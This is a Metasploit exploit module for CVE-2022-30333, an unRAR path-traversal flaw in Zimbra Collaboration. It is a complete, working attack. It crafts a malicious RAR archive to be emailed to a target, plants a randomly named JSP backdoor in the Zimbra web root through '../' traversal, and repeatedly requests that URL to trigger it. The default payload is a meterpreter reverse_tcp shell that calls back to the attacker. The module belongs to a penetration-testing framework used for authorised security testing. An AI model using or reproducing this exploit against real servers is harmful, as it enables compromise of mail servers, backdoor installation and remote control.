##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Format::RarSymlinkPathTraversal

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',
        'Description' => %q{
          This module creates a RAR file that can be emailed to a Zimbra server
          to exploit CVE-2022-30333. If successful, it plants a JSP-based
          backdoor in the public web directory, then executes that backdoor.

          The core vulnerability is a path-traversal issue in unRAR that can
          extract an arbitrary file to an arbitrary location on a Linux system.

          This issue is exploitable on the following versions of Zimbra, provided
          UnRAR version 6.11 or earlier is installed:

          * Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
          * Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
        },
        'Author' => [
          'Simon Scannell', # Discovery / initial disclosure (via Sonar)
          'Ron Bowes', # Analysis, PoC, and module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-30333'],
          ['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
          ['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],
          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],
          ['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
        ],
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [ 'Zimbra Collaboration Suite', {} ]
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',
          'TARGET_FILENAME' => nil,
          'DisablePayloadHandler' => false,
          'RPORT' => 443,
          'SSL' => true
        },
        'Stance' => Msf::Exploit::Stance::Passive,
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2022-06-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),

        # Separating the path, filename, and extension allows us to randomize the filename
        OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
        OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
      ]
    )

    register_advanced_options(
      [
        OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
        OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),

        # Took this from multi/handler
        OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
        OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
      ]
    )
  end

  # Generate an on-system filename using datastore options
  def generate_target_filename
    if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
      print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
    end

    File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
  end

  # Normalize the path traversal and figure out where it is relative to the web root
  def zimbra_get_public_path(target_filename)
    # Normalize the path
    normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath

    # Figure out where it is, relative to the webroot
    webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')
    relative_path = normalized_path.relative_path_from(webroot)

    # Hopefully, we found a path from the webroot to the payload!
    if relative_path.to_s.start_with?('../')
      return nil
    end

    relative_path
  end

  def exploit
    print_status('Encoding the payload as a .jsp file')
    payload = Msf::Util::EXE.to_jsp(generate_payload_exe)

    # Create a file
    target_filename = generate_target_filename
    print_status("Target filename: #{target_filename}")

    # Sanity check - the file shouldn't exist, but we should be able to do requests to the server
    if datastore['TRIGGER_PAYLOAD']
      # Get the public path for triggering the vulnerability, terminate if we
      # can't figure it out
      public_filename = zimbra_get_public_path(target_filename)
      if public_filename.nil?
        fail_with(Failure::Unknown, 'Could not determine the public web path')
      end

      print_status('Checking the HTTP connection to the target')
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(public_filename)
      )

      unless res
        fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')
      end

      # Break when the file successfully appears
      unless res.code == 404
        fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")
      end
    end

    begin
      rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
    rescue StandardError => e
      fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
    end

    file_create(rar)

    print_good('File created! Email the file above to any user on the target Zimbra server')

    # Bail if they don't want the payload triggered
    return unless datastore['TRIGGER_PAYLOAD']

    register_file_for_cleanup(target_filename)

    interval = datastore['CheckInterval'].to_i
    print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")

    # This loop is mostly from `multi/handler`
    stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
    timeout = datastore['ListenerTimeout'].to_i

    # We flip this once we trigger the payload
    keep_sending = true
    loop do
      break if session_created?
      break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)

      # Once we've triggered the payload, stop trying to
      if keep_sending
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(public_filename)
        )

        unless res
          fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
        end

        # Break when the file successfully appears
        if res.code == 200
          print_good('Successfully triggered the payload')
          keep_sending = false
          next
        end
      end

      Rex::ThreadSafe.sleep(interval)
    end
  end
end
